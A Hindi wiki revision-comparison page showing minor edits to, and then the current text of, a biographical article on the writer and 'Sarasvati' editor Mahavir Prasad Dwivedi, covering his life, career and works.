"महावीर प्रसाद द्विवेदी" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replacement - "शृंगार" to "श्रृंगार")
 
पंक्ति 12: पंक्ति 12:
 
|पति/पत्नी=
 
|पति/पत्नी=
 
|संतान=
 
|संतान=
|कर्म भूमि=
+
|कर्म भूमि=[[भारत]]
 
|कर्म-क्षेत्र=साहित्यकार, पत्रकार  
 
|कर्म-क्षेत्र=साहित्यकार, पत्रकार  
|मुख्य रचनाएँ=पद्य- देवी स्तुति-शतक, कान्यकुब्जावलीव्रतम, काव्य मंजूषा, सुमन आदि<br />
+
|मुख्य रचनाएँ=पद्य- देवी स्तुति-शतक, कान्यकुब्जावलीव्रतम, काव्य मंजूषा, सुमन आदि।<br />
गद्य-हिन्दी भाषा की उत्पत्ति, सम्पत्तिशास्त्र, साहित्यालाप, महिलामोद आदि
+
गद्य-हिन्दी भाषा की उत्पत्ति, सम्पत्तिशास्त्र, साहित्यालाप, महिलामोद आदि।
 
|विषय=
 
|विषय=
 
|भाषा=[[हिंदी]], [[संस्कृत]], [[गुजराती भाषा|गुजराती]], [[मराठी भाषा|मराठी]] और [[अंग्रेज़ी भाषा|अंग्रेज़ी]]
 
|भाषा=[[हिंदी]], [[संस्कृत]], [[गुजराती भाषा|गुजराती]], [[मराठी भाषा|मराठी]] और [[अंग्रेज़ी भाषा|अंग्रेज़ी]]
पंक्ति 33: पंक्ति 33:
 
|अद्यतन=
 
|अद्यतन=
 
}}
 
}}
'''महावीर प्रसाद द्विवेदी''' ([[अंग्रेज़ी]]: ''Mahavir Prasad Dwivedi'', जन्म: [[1864]] - मृत्यु: [[21 दिसम्बर]], [[1938]]) हिन्दी गद्य साहित्य के महान् साहित्यकार, पत्रकार एवं युगविधायक हैं।
+
'''महावीर प्रसाद द्विवेदी''' ([[अंग्रेज़ी]]: ''Mahavir Prasad Dwivedi'', जन्म: [[1864]]; मृत्यु: [[21 दिसम्बर]], [[1938]]) हिन्दी गद्य साहित्य के महान् साहित्यकार, पत्रकार एवं युगविधायक हैं।
 
==जीवन परिचय==
 
==जीवन परिचय==
 
महावीर प्रसाद द्विवेदी का जन्म सन् 1864 ई. में [[उत्तर प्रदेश]] के [[रायबरेली ज़िला|रायबरेली ज़िले]] के दौलतपुर गाँव में हुआ था। इनके पिता का नाम रामसहाय द्विवेदी था। कहा जाता है कि उन्हें महावीर का इष्ट था, इसीलिए उन्होंने अपने पुत्र का नाम महावीर सहाय रखा।  
 
महावीर प्रसाद द्विवेदी का जन्म सन् 1864 ई. में [[उत्तर प्रदेश]] के [[रायबरेली ज़िला|रायबरेली ज़िले]] के दौलतपुर गाँव में हुआ था। इनके पिता का नाम रामसहाय द्विवेदी था। कहा जाता है कि उन्हें महावीर का इष्ट था, इसीलिए उन्होंने अपने पुत्र का नाम महावीर सहाय रखा।  
 
==शिक्षा==
 
==शिक्षा==
 
महावीर प्रसाद द्विवेदी जी की प्रारम्भिक शिक्षा गाँव की पाठशाला में ही हुई। प्रधानाध्यापक ने भूल से इनका नाम महावीर प्रसाद लिख दिया था। [[हिन्दी साहित्य]] में यह भूल स्थायी बन गयी। तेरह वर्ष की अवस्था में [[अंग्रेज़ी]] पढ़ने के लिए यह रायबरेली के ज़िला स्कूल में भर्ती हुए। यहाँ [[संस्कृत भाषा|संस्कृत]] के अभाव में इनको वैकल्पिक विषय [[फ़ारसी भाषा|फ़ारसी]] लेना पड़ा। इन्होंने इस स्कूल में ज्यों-त्यों एक [[वर्ष]] काटा। उसके बाद कुछ दिनों तक [[उन्नाव ज़िला|उन्नाव ज़िले]] के 'रनजीत पुरवा स्कूल' में और कुछ दिनों तक फ़तेहपुर में पढ़ने के बाद यह पिता के पास [[बम्बई]] चले गए। बम्बई में इन्होंने संस्कृत, [[गुजराती भाषा|गुजराती]], [[मराठी भाषा|मराठी]] और [[अंग्रेज़ी भाषा|अंग्रेज़ी]] का अभ्यास किया।
 
महावीर प्रसाद द्विवेदी जी की प्रारम्भिक शिक्षा गाँव की पाठशाला में ही हुई। प्रधानाध्यापक ने भूल से इनका नाम महावीर प्रसाद लिख दिया था। [[हिन्दी साहित्य]] में यह भूल स्थायी बन गयी। तेरह वर्ष की अवस्था में [[अंग्रेज़ी]] पढ़ने के लिए यह रायबरेली के ज़िला स्कूल में भर्ती हुए। यहाँ [[संस्कृत भाषा|संस्कृत]] के अभाव में इनको वैकल्पिक विषय [[फ़ारसी भाषा|फ़ारसी]] लेना पड़ा। इन्होंने इस स्कूल में ज्यों-त्यों एक [[वर्ष]] काटा। उसके बाद कुछ दिनों तक [[उन्नाव ज़िला|उन्नाव ज़िले]] के 'रनजीत पुरवा स्कूल' में और कुछ दिनों तक फ़तेहपुर में पढ़ने के बाद यह पिता के पास [[बम्बई]] चले गए। बम्बई में इन्होंने संस्कृत, [[गुजराती भाषा|गुजराती]], [[मराठी भाषा|मराठी]] और [[अंग्रेज़ी भाषा|अंग्रेज़ी]] का अभ्यास किया।
 
 
==कार्यक्षेत्र==
 
==कार्यक्षेत्र==
 
महावीर प्रसाद द्विवेदी जी की उत्कृष्ट ज्ञान-पिपासा कभी तृप्त न हुई, किन्तु जीविका के लिए इन्होंने रेलवे में नौकरी कर ली। कुछ दिनों तक [[नागपुर]] और [[अजमेर]] में कार्य करने के बाद यह पुन: बम्बई लौट आए। यहाँ पर इन्होंने तार देने की विधि सीखी और रेलवे में सिगनलर हो गए। रेलवे में विभिन्न पदों पर कार्य करने के बाद अन्तत: यह [[झाँसी]] में डिस्ट्रिक्ट सुपरिण्टेण्डेण्ट के ऑफ़िस में चीफ़ क्लर्क हो गए। पाँच वर्ष बाद उच्चाधिकारी से न पटने के कारण इन्होंने नौकरी से इस्तीफ़ा दे दिया। इनकी साहित्य साधना का क्रम सरकारी नौकरी के नीरस वातावरण में भी चल रहा था और इस अवधि में इनके संस्कृत ग्रन्थों के कई अनुवाद और कुछ आलोचनाएँ प्रकाश में आ चुकी थीं। सन [[1903]] ई. में महावीर प्रसाद द्विवेदी ने '[[सरस्वती (पत्रिका)|सरस्वती]]' का सम्पादन स्वीकार किया। 'सरस्वती' सम्पादक के रूप में इन्होंने [[हिन्दी]] के उत्थान के लिए जो कुछ किया, उस पर कोई साहित्य गर्व कर सकता है। [[1920]] ई. तक गुरुतर दायित्व इन्होंने निष्ठापूर्वक निभाया। 'सरस्वती' से अलग होने पर जीवन के अन्तिम अठारह वर्ष इन्होंने गाँव के नीरस वातावरण में व्यतीत किए। ये वर्ष बड़ी कठिनाई में बीते।
 
महावीर प्रसाद द्विवेदी जी की उत्कृष्ट ज्ञान-पिपासा कभी तृप्त न हुई, किन्तु जीविका के लिए इन्होंने रेलवे में नौकरी कर ली। कुछ दिनों तक [[नागपुर]] और [[अजमेर]] में कार्य करने के बाद यह पुन: बम्बई लौट आए। यहाँ पर इन्होंने तार देने की विधि सीखी और रेलवे में सिगनलर हो गए। रेलवे में विभिन्न पदों पर कार्य करने के बाद अन्तत: यह [[झाँसी]] में डिस्ट्रिक्ट सुपरिण्टेण्डेण्ट के ऑफ़िस में चीफ़ क्लर्क हो गए। पाँच वर्ष बाद उच्चाधिकारी से न पटने के कारण इन्होंने नौकरी से इस्तीफ़ा दे दिया। इनकी साहित्य साधना का क्रम सरकारी नौकरी के नीरस वातावरण में भी चल रहा था और इस अवधि में इनके संस्कृत ग्रन्थों के कई अनुवाद और कुछ आलोचनाएँ प्रकाश में आ चुकी थीं। सन [[1903]] ई. में महावीर प्रसाद द्विवेदी ने '[[सरस्वती (पत्रिका)|सरस्वती]]' का सम्पादन स्वीकार किया। 'सरस्वती' सम्पादक के रूप में इन्होंने [[हिन्दी]] के उत्थान के लिए जो कुछ किया, उस पर कोई साहित्य गर्व कर सकता है। [[1920]] ई. तक गुरुतर दायित्व इन्होंने निष्ठापूर्वक निभाया। 'सरस्वती' से अलग होने पर जीवन के अन्तिम अठारह वर्ष इन्होंने गाँव के नीरस वातावरण में व्यतीत किए। ये वर्ष बड़ी कठिनाई में बीते।
 
 
==व्यक्तित्व==
 
==व्यक्तित्व==
 
महावीर प्रसाद द्विवेदी के कृतित्व से अधिक महिमामय उनका व्यक्तित्व है। आस्तिकता, कर्तव्यपरायणता, न्यायनिष्ठा, आत्मसंयम, परहित-कातरता और लोक-संग्रह भारतीय नैतिकता के शाश्वत विधान हैं। यह नैतिकता के मूर्तिमान प्रतीक थे। इनके विचारों और कथनों के पीछे इनके व्यक्तित्व की गरिमा भी कार्य करती थी। वह [[युग]] ही नैतिक मूल्यों के आग्रह का था। साहित्य के क्षेत्र में सुधारवादी प्रवृत्तियों का प्रवेश नैतिक दृष्टिकोण की प्रधानता के कारण ही हो रहा था। [[भाषा]]-परिमार्जन के मूलों में भी यही दृष्टिकोण कार्य कर रहा था। इनका कृतित्व श्लाघ्य है तो इनका व्यक्तित्व पूज्य। प्राचीनता की उपेक्षा न करते हुए भी इन्होंने नवीनता को प्रश्रय दिया था। '[[भारत भारती|भारत-भारती]]' के प्रकाशन पर इन्होंने लिखा था- “यह काव्य वर्तमान हिन्दी-साहित्य में युगान्तर उत्पन्न करने वाला है”। इस युगान्तर मूल में इनका ही व्यक्तित्व कार्य कर रहा था। द्विवेदी जी ने अनन्त [[आकाश]] और अनन्त [[पृथ्वी]] के सभी उपकरणों को काव्य-विषय घोषित करके इसी युगान्तर की सूचना दी थी। यह नवयुग के विधायक आचार्य थे। उस युग का बड़े से बड़ा साहित्यकार आपके प्रसाद की ही कामना करता था। सन् [[1903]] ई. से [[1925]] ई. तक (लगभग 22 वर्ष की अवधि में) द्विवेदी जी ने [[हिन्दी साहित्य|हिन्दी-साहित्य]] का नेतृत्व किया।
 
महावीर प्रसाद द्विवेदी के कृतित्व से अधिक महिमामय उनका व्यक्तित्व है। आस्तिकता, कर्तव्यपरायणता, न्यायनिष्ठा, आत्मसंयम, परहित-कातरता और लोक-संग्रह भारतीय नैतिकता के शाश्वत विधान हैं। यह नैतिकता के मूर्तिमान प्रतीक थे। इनके विचारों और कथनों के पीछे इनके व्यक्तित्व की गरिमा भी कार्य करती थी। वह [[युग]] ही नैतिक मूल्यों के आग्रह का था। साहित्य के क्षेत्र में सुधारवादी प्रवृत्तियों का प्रवेश नैतिक दृष्टिकोण की प्रधानता के कारण ही हो रहा था। [[भाषा]]-परिमार्जन के मूलों में भी यही दृष्टिकोण कार्य कर रहा था। इनका कृतित्व श्लाघ्य है तो इनका व्यक्तित्व पूज्य। प्राचीनता की उपेक्षा न करते हुए भी इन्होंने नवीनता को प्रश्रय दिया था। '[[भारत भारती|भारत-भारती]]' के प्रकाशन पर इन्होंने लिखा था- “यह काव्य वर्तमान हिन्दी-साहित्य में युगान्तर उत्पन्न करने वाला है”। इस युगान्तर मूल में इनका ही व्यक्तित्व कार्य कर रहा था। द्विवेदी जी ने अनन्त [[आकाश]] और अनन्त [[पृथ्वी]] के सभी उपकरणों को काव्य-विषय घोषित करके इसी युगान्तर की सूचना दी थी। यह नवयुग के विधायक आचार्य थे। उस युग का बड़े से बड़ा साहित्यकार आपके प्रसाद की ही कामना करता था। सन् [[1903]] ई. से [[1925]] ई. तक (लगभग 22 वर्ष की अवधि में) द्विवेदी जी ने [[हिन्दी साहित्य|हिन्दी-साहित्य]] का नेतृत्व किया।
 
 
==आलोचक==
 
==आलोचक==
 
आलोचक के रूप में 'रीति' के स्थान पर इन्होंने उपादेयता, लोक-हित, उद्देश्य की गम्भीरता, शैली की नवीनता और निर्दोषिता को काव्योत्कृष्टता की कसौटी के रूप में प्रतिष्ठित किया। इनकी आलोचनाओं से लोक-रुचि का परिष्कार हुआ। नूतन काव्य विवेक जागृत हुआ। सम्पादक के रूप में इन्होंने निरन्तर पाठकों का हित चिन्तन किया। इन्होंने नवीन लेखकों और कवियों को प्रोत्साहित किया। [[मैथिलीशरण गुप्त|राष्ट्रकवि मैथिलीशरण गुप्त]] इन्हें अपना गुरु मानते हैं। गुप्तजी का कहना है कि “मेरी उल्टी-सीधी प्रारम्भिक रचनाओं का पूर्ण शोधन करके उन्हें 'सरस्वती' में प्रकाशित करना और पत्र द्वारा मेरे उत्साह को बढ़ाना द्विवेदी महाराज का ही काम था”। इन्होंने [[पत्रिका]] को निर्दोष, पूर्ण, सरस, उपयोगी और नियमित बनाया। अनुवादक के रूप में इन्होंने [[भाषा]] की प्रांजलता और मूल भाषा की रक्षा को सर्वाधिक महत्त्व दिया।
 
आलोचक के रूप में 'रीति' के स्थान पर इन्होंने उपादेयता, लोक-हित, उद्देश्य की गम्भीरता, शैली की नवीनता और निर्दोषिता को काव्योत्कृष्टता की कसौटी के रूप में प्रतिष्ठित किया। इनकी आलोचनाओं से लोक-रुचि का परिष्कार हुआ। नूतन काव्य विवेक जागृत हुआ। सम्पादक के रूप में इन्होंने निरन्तर पाठकों का हित चिन्तन किया। इन्होंने नवीन लेखकों और कवियों को प्रोत्साहित किया। [[मैथिलीशरण गुप्त|राष्ट्रकवि मैथिलीशरण गुप्त]] इन्हें अपना गुरु मानते हैं। गुप्तजी का कहना है कि “मेरी उल्टी-सीधी प्रारम्भिक रचनाओं का पूर्ण शोधन करके उन्हें 'सरस्वती' में प्रकाशित करना और पत्र द्वारा मेरे उत्साह को बढ़ाना द्विवेदी महाराज का ही काम था”। इन्होंने [[पत्रिका]] को निर्दोष, पूर्ण, सरस, उपयोगी और नियमित बनाया। अनुवादक के रूप में इन्होंने [[भाषा]] की प्रांजलता और मूल भाषा की रक्षा को सर्वाधिक महत्त्व दिया।
 
 
==मूल्यांकन==
 
==मूल्यांकन==
 
[[चित्र:Mahavir-Prasad-Dwivedi.jpg|thumb|महावीर प्रसाद द्विवेदी]]
 
[[चित्र:Mahavir-Prasad-Dwivedi.jpg|thumb|महावीर प्रसाद द्विवेदी]]
 
[[हिन्दी साहित्य]] में महावीर प्रसाद द्विवेदी का मूल्यांकन तत्कालीन परिस्थितियों के सन्दर्भ में ही किया जा सकता है। वह समय [[हिन्दी]] के कलात्मक विकास का नहीं, हिन्दी के अभावों की पूर्ति का था। इन्होंने ज्ञान के विविध क्षेत्रों- [[इतिहास]], [[अर्थशास्त्र]], [[विज्ञान]], [[पुरातत्त्व]], चिकित्सा, राजनीति, जीवनी आदि से सामग्री लेकर हिन्दी के अभावों की पूर्ति की। हिन्दी गद्य को माँजने-सँवारने और परिष्कृत करने में यह आजीवन संलग्न रहे। यहाँ तक की इन्होंने अपना भी परिष्कार किया। हिन्दी गद्य और पद्य की भाषा एक करने के लिए ([[खड़ीबोली]] के प्रचार-प्रसार के लिए) प्रबल आन्दोलन किया। हिन्दी गद्य की अनेक विधाओं को समुन्नत किया। इसके लिए इनको [[अंग्रेज़ी]], [[मराठी]], [[गुजराती भाषा|गुजराती]] और [[बंगला भाषा|बंगला]] आदि भाषाओं में प्रकाशित श्रेष्ठ कृतियों का बराबर अनुशीलन करना पड़ता था। निबन्धकार, आलोचक, अनुवादक और सम्पादक के रूप में इन्होंने अपना पथ स्वयं प्रशस्त किया था। निबन्धकार द्विवेदी के सामने सदैव पाठकों के ज्ञान-वर्द्धन का दृष्टिकोण प्रधान रहा, इसीलिए विषय-वैविध्य, सरलता और उपदेशात्मकता उनके निबन्धों की प्रमुख विशेषताएँ बन गयीं।
 
[[हिन्दी साहित्य]] में महावीर प्रसाद द्विवेदी का मूल्यांकन तत्कालीन परिस्थितियों के सन्दर्भ में ही किया जा सकता है। वह समय [[हिन्दी]] के कलात्मक विकास का नहीं, हिन्दी के अभावों की पूर्ति का था। इन्होंने ज्ञान के विविध क्षेत्रों- [[इतिहास]], [[अर्थशास्त्र]], [[विज्ञान]], [[पुरातत्त्व]], चिकित्सा, राजनीति, जीवनी आदि से सामग्री लेकर हिन्दी के अभावों की पूर्ति की। हिन्दी गद्य को माँजने-सँवारने और परिष्कृत करने में यह आजीवन संलग्न रहे। यहाँ तक की इन्होंने अपना भी परिष्कार किया। हिन्दी गद्य और पद्य की भाषा एक करने के लिए ([[खड़ीबोली]] के प्रचार-प्रसार के लिए) प्रबल आन्दोलन किया। हिन्दी गद्य की अनेक विधाओं को समुन्नत किया। इसके लिए इनको [[अंग्रेज़ी]], [[मराठी]], [[गुजराती भाषा|गुजराती]] और [[बंगला भाषा|बंगला]] आदि भाषाओं में प्रकाशित श्रेष्ठ कृतियों का बराबर अनुशीलन करना पड़ता था। निबन्धकार, आलोचक, अनुवादक और सम्पादक के रूप में इन्होंने अपना पथ स्वयं प्रशस्त किया था। निबन्धकार द्विवेदी के सामने सदैव पाठकों के ज्ञान-वर्द्धन का दृष्टिकोण प्रधान रहा, इसीलिए विषय-वैविध्य, सरलता और उपदेशात्मकता उनके निबन्धों की प्रमुख विशेषताएँ बन गयीं।
 
 
==कृतियाँ==
 
==कृतियाँ==
 
महावीर प्रसाद द्विवेदी की साहित्यिक देन कम नहीं है। इनके मौलिक और अनुदित पद्य और गद्य ग्रन्थों की कुल संख्या अस्सी से ऊपर है। गद्य में इनकी 14 अनुदित और 50 मौलिक कृतियाँ प्राप्त हैं। कविता की ओर महावीर प्रसाद द्विवेदी जी की विशेष प्रवृत्ति नहीं थी। इस क्षेत्र में इनकी अनुदित कृतियाँ, जिनकी संख्या आठ है, अधिक महत्त्वपूर्ण हैं। मौलिक कृतियाँ कुल 9 हैं, जिन्हें स्वयं तुकबन्दी कहा है। इनकी समस्त कृतियों का संक्षिप्त विवरण निम्नलिखित रूप में उपस्थित किया जा सकता है।
 
महावीर प्रसाद द्विवेदी की साहित्यिक देन कम नहीं है। इनके मौलिक और अनुदित पद्य और गद्य ग्रन्थों की कुल संख्या अस्सी से ऊपर है। गद्य में इनकी 14 अनुदित और 50 मौलिक कृतियाँ प्राप्त हैं। कविता की ओर महावीर प्रसाद द्विवेदी जी की विशेष प्रवृत्ति नहीं थी। इस क्षेत्र में इनकी अनुदित कृतियाँ, जिनकी संख्या आठ है, अधिक महत्त्वपूर्ण हैं। मौलिक कृतियाँ कुल 9 हैं, जिन्हें स्वयं तुकबन्दी कहा है। इनकी समस्त कृतियों का संक्षिप्त विवरण निम्नलिखित रूप में उपस्थित किया जा सकता है।
पंक्ति 90: पंक्ति 85:
 
*सुमन [[1923]] ई.
 
*सुमन [[1923]] ई.
 
*द्विवेदी काव्य-माला [[1940]] ई.
 
*द्विवेदी काव्य-माला [[1940]] ई.
*कविता कलाप [[1909]] ई.
+
*कविता कलाप [[1909]] ई.|  
|  
 
 
====मौलिक गद्य रचनाएँ====
 
====मौलिक गद्य रचनाएँ====
 
*तरुणोपदेश (अप्रकाशित)
 
*तरुणोपदेश (अप्रकाशित)
पंक्ति 131: पंक्ति 125:
 
|}
 
|}
 
उपर्युक्त कृतियों के अतिरिक्त तेरहवें हिन्दी साहित्य सम्मेलन ([[1923]] ई.), [[काशी नागरी प्रचारिणी सभा]] द्वारा किये गये अभिनन्दन ([[1933]] ई. और [[प्रयाग]] में आयोजित 'द्विवेदी मेला', 1933 ई.) के अवसर पर इन्होंने जो भाषण दिये थे, उन्हें भी पुस्तकाकार रूप में प्रकाशित किया गया है। आपकी बनायी हुई छ: बालोपयोगी स्कूली पुस्तकें भी प्रकाशित हैं।
 
उपर्युक्त कृतियों के अतिरिक्त तेरहवें हिन्दी साहित्य सम्मेलन ([[1923]] ई.), [[काशी नागरी प्रचारिणी सभा]] द्वारा किये गये अभिनन्दन ([[1933]] ई. और [[प्रयाग]] में आयोजित 'द्विवेदी मेला', 1933 ई.) के अवसर पर इन्होंने जो भाषण दिये थे, उन्हें भी पुस्तकाकार रूप में प्रकाशित किया गया है। आपकी बनायी हुई छ: बालोपयोगी स्कूली पुस्तकें भी प्रकाशित हैं।
 
 
==मृत्यु==
 
==मृत्यु==
 
[[21 दिसम्बर]] सन् [[1938]] ई. को रायबरेली में महावीर प्रसाद द्विवेदी जी का स्वर्गवास हो गया। [[हिन्दी साहित्य]] का आचार्य पीठ अनिश्चितकाल के लिए सूना हो गया।  
 
[[21 दिसम्बर]] सन् [[1938]] ई. को रायबरेली में महावीर प्रसाद द्विवेदी जी का स्वर्गवास हो गया। [[हिन्दी साहित्य]] का आचार्य पीठ अनिश्चितकाल के लिए सूना हो गया।  
 +
  
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक3 |माध्यमिक= |पूर्णता= |शोध= }}
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{साहित्यकार}}
 
{{साहित्यकार}}
[[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:पत्रकार]]
+
[[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:पत्रकार]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:साहित्यकार]][[Category:साहित्य_कोश]][[Category:आलोचक]]
[[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:साहित्यकार]][[Category:साहित्य_कोश]]
 
[[Category:आलोचक]]
 
 
__INDEX__
 
__INDEX__
__NOTOC__
 

05:22, 21 दिसम्बर 2017 के समय का अवतरण

महावीर प्रसाद द्विवेदी
महावीर प्रसाद द्विवेदी
पूरा नाम महावीर प्रसाद द्विवेदी
जन्म 1864
जन्म भूमि दौलतपुर गाँव, रायबरेली, उत्तर प्रदेश
मृत्यु 21 दिसम्बर, 1938
मृत्यु स्थान रायबरेली
अभिभावक रामसहाय द्विवेदी
कर्म भूमि भारत
कर्म-क्षेत्र साहित्यकार, पत्रकार
मुख्य रचनाएँ पद्य- देवी स्तुति-शतक, कान्यकुब्जावलीव्रतम, काव्य मंजूषा, सुमन आदि।

गद्य-हिन्दी भाषा की उत्पत्ति, सम्पत्तिशास्त्र, साहित्यालाप, महिलामोद आदि।

भाषा हिंदी, संस्कृत, गुजराती, मराठी और अंग्रेज़ी
नागरिकता भारतीय
अन्य जानकारी 'सरस्वती' सम्पादक के रूप में इन्होंने हिन्दी के उत्थान के लिए जो कुछ किया, उस पर कोई साहित्य गर्व कर सकता है।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

महावीर प्रसाद द्विवेदी (अंग्रेज़ी: Mahavir Prasad Dwivedi, जन्म: 1864; मृत्यु: 21 दिसम्बर, 1938) हिन्दी गद्य साहित्य के महान् साहित्यकार, पत्रकार एवं युगविधायक हैं।

जीवन परिचय

महावीर प्रसाद द्विवेदी का जन्म सन् 1864 ई. में उत्तर प्रदेश के रायबरेली ज़िले के दौलतपुर गाँव में हुआ था। इनके पिता का नाम रामसहाय द्विवेदी था। कहा जाता है कि उन्हें महावीर का इष्ट था, इसीलिए उन्होंने अपने पुत्र का नाम महावीर सहाय रखा।

शिक्षा

महावीर प्रसाद द्विवेदी जी की प्रारम्भिक शिक्षा गाँव की पाठशाला में ही हुई। प्रधानाध्यापक ने भूल से इनका नाम महावीर प्रसाद लिख दिया था। हिन्दी साहित्य में यह भूल स्थायी बन गयी। तेरह वर्ष की अवस्था में अंग्रेज़ी पढ़ने के लिए यह रायबरेली के ज़िला स्कूल में भर्ती हुए। यहाँ संस्कृत के अभाव में इनको वैकल्पिक विषय फ़ारसी लेना पड़ा। इन्होंने इस स्कूल में ज्यों-त्यों एक वर्ष काटा। उसके बाद कुछ दिनों तक उन्नाव ज़िले के 'रनजीत पुरवा स्कूल' में और कुछ दिनों तक फ़तेहपुर में पढ़ने के बाद यह पिता के पास बम्बई चले गए। बम्बई में इन्होंने संस्कृत, गुजराती, मराठी और अंग्रेज़ी का अभ्यास किया।

कार्यक्षेत्र

महावीर प्रसाद द्विवेदी जी की उत्कृष्ट ज्ञान-पिपासा कभी तृप्त न हुई, किन्तु जीविका के लिए इन्होंने रेलवे में नौकरी कर ली। कुछ दिनों तक नागपुर और अजमेर में कार्य करने के बाद यह पुन: बम्बई लौट आए। यहाँ पर इन्होंने तार देने की विधि सीखी और रेलवे में सिगनलर हो गए। रेलवे में विभिन्न पदों पर कार्य करने के बाद अन्तत: यह झाँसी में डिस्ट्रिक्ट सुपरिण्टेण्डेण्ट के ऑफ़िस में चीफ़ क्लर्क हो गए। पाँच वर्ष बाद उच्चाधिकारी से न पटने के कारण इन्होंने नौकरी से इस्तीफ़ा दे दिया। इनकी साहित्य साधना का क्रम सरकारी नौकरी के नीरस वातावरण में भी चल रहा था और इस अवधि में इनके संस्कृत ग्रन्थों के कई अनुवाद और कुछ आलोचनाएँ प्रकाश में आ चुकी थीं। सन 1903 ई. में महावीर प्रसाद द्विवेदी ने 'सरस्वती' का सम्पादन स्वीकार किया। 'सरस्वती' सम्पादक के रूप में इन्होंने हिन्दी के उत्थान के लिए जो कुछ किया, उस पर कोई साहित्य गर्व कर सकता है। 1920 ई. तक गुरुतर दायित्व इन्होंने निष्ठापूर्वक निभाया। 'सरस्वती' से अलग होने पर जीवन के अन्तिम अठारह वर्ष इन्होंने गाँव के नीरस वातावरण में व्यतीत किए। ये वर्ष बड़ी कठिनाई में बीते।

व्यक्तित्व

महावीर प्रसाद द्विवेदी के कृतित्व से अधिक महिमामय उनका व्यक्तित्व है। आस्तिकता, कर्तव्यपरायणता, न्यायनिष्ठा, आत्मसंयम, परहित-कातरता और लोक-संग्रह भारतीय नैतिकता के शाश्वत विधान हैं। यह नैतिकता के मूर्तिमान प्रतीक थे। इनके विचारों और कथनों के पीछे इनके व्यक्तित्व की गरिमा भी कार्य करती थी। वह युग ही नैतिक मूल्यों के आग्रह का था। साहित्य के क्षेत्र में सुधारवादी प्रवृत्तियों का प्रवेश नैतिक दृष्टिकोण की प्रधानता के कारण ही हो रहा था। भाषा-परिमार्जन के मूलों में भी यही दृष्टिकोण कार्य कर रहा था। इनका कृतित्व श्लाघ्य है तो इनका व्यक्तित्व पूज्य। प्राचीनता की उपेक्षा न करते हुए भी इन्होंने नवीनता को प्रश्रय दिया था। 'भारत-भारती' के प्रकाशन पर इन्होंने लिखा था- “यह काव्य वर्तमान हिन्दी-साहित्य में युगान्तर उत्पन्न करने वाला है”। इस युगान्तर मूल में इनका ही व्यक्तित्व कार्य कर रहा था। द्विवेदी जी ने अनन्त आकाश और अनन्त पृथ्वी के सभी उपकरणों को काव्य-विषय घोषित करके इसी युगान्तर की सूचना दी थी। यह नवयुग के विधायक आचार्य थे। उस युग का बड़े से बड़ा साहित्यकार आपके प्रसाद की ही कामना करता था। सन् 1903 ई. से 1925 ई. तक (लगभग 22 वर्ष की अवधि में) द्विवेदी जी ने हिन्दी-साहित्य का नेतृत्व किया।

आलोचक

आलोचक के रूप में 'रीति' के स्थान पर इन्होंने उपादेयता, लोक-हित, उद्देश्य की गम्भीरता, शैली की नवीनता और निर्दोषिता को काव्योत्कृष्टता की कसौटी के रूप में प्रतिष्ठित किया। इनकी आलोचनाओं से लोक-रुचि का परिष्कार हुआ। नूतन काव्य विवेक जागृत हुआ। सम्पादक के रूप में इन्होंने निरन्तर पाठकों का हित चिन्तन किया। इन्होंने नवीन लेखकों और कवियों को प्रोत्साहित किया। राष्ट्रकवि मैथिलीशरण गुप्त इन्हें अपना गुरु मानते हैं। गुप्तजी का कहना है कि “मेरी उल्टी-सीधी प्रारम्भिक रचनाओं का पूर्ण शोधन करके उन्हें 'सरस्वती' में प्रकाशित करना और पत्र द्वारा मेरे उत्साह को बढ़ाना द्विवेदी महाराज का ही काम था”। इन्होंने पत्रिका को निर्दोष, पूर्ण, सरस, उपयोगी और नियमित बनाया। अनुवादक के रूप में इन्होंने भाषा की प्रांजलता और मूल भाषा की रक्षा को सर्वाधिक महत्त्व दिया।

मूल्यांकन

महावीर प्रसाद द्विवेदी

हिन्दी साहित्य में महावीर प्रसाद द्विवेदी का मूल्यांकन तत्कालीन परिस्थितियों के सन्दर्भ में ही किया जा सकता है। वह समय हिन्दी के कलात्मक विकास का नहीं, हिन्दी के अभावों की पूर्ति का था। इन्होंने ज्ञान के विविध क्षेत्रों- इतिहास, अर्थशास्त्र, विज्ञान, पुरातत्त्व, चिकित्सा, राजनीति, जीवनी आदि से सामग्री लेकर हिन्दी के अभावों की पूर्ति की। हिन्दी गद्य को माँजने-सँवारने और परिष्कृत करने में यह आजीवन संलग्न रहे। यहाँ तक की इन्होंने अपना भी परिष्कार किया। हिन्दी गद्य और पद्य की भाषा एक करने के लिए (खड़ीबोली के प्रचार-प्रसार के लिए) प्रबल आन्दोलन किया। हिन्दी गद्य की अनेक विधाओं को समुन्नत किया। इसके लिए इनको अंग्रेज़ी, मराठी, गुजराती और बंगला आदि भाषाओं में प्रकाशित श्रेष्ठ कृतियों का बराबर अनुशीलन करना पड़ता था। निबन्धकार, आलोचक, अनुवादक और सम्पादक के रूप में इन्होंने अपना पथ स्वयं प्रशस्त किया था। निबन्धकार द्विवेदी के सामने सदैव पाठकों के ज्ञान-वर्द्धन का दृष्टिकोण प्रधान रहा, इसीलिए विषय-वैविध्य, सरलता और उपदेशात्मकता उनके निबन्धों की प्रमुख विशेषताएँ बन गयीं।

कृतियाँ

महावीर प्रसाद द्विवेदी की साहित्यिक देन कम नहीं है। इनके मौलिक और अनुदित पद्य और गद्य ग्रन्थों की कुल संख्या अस्सी से ऊपर है। गद्य में इनकी 14 अनुदित और 50 मौलिक कृतियाँ प्राप्त हैं। कविता की ओर महावीर प्रसाद द्विवेदी जी की विशेष प्रवृत्ति नहीं थी। इस क्षेत्र में इनकी अनुदित कृतियाँ, जिनकी संख्या आठ है, अधिक महत्त्वपूर्ण हैं। मौलिक कृतियाँ कुल 9 हैं, जिन्हें स्वयं तुकबन्दी कहा है। इनकी समस्त कृतियों का संक्षिप्त विवरण निम्नलिखित रूप में उपस्थित किया जा सकता है।

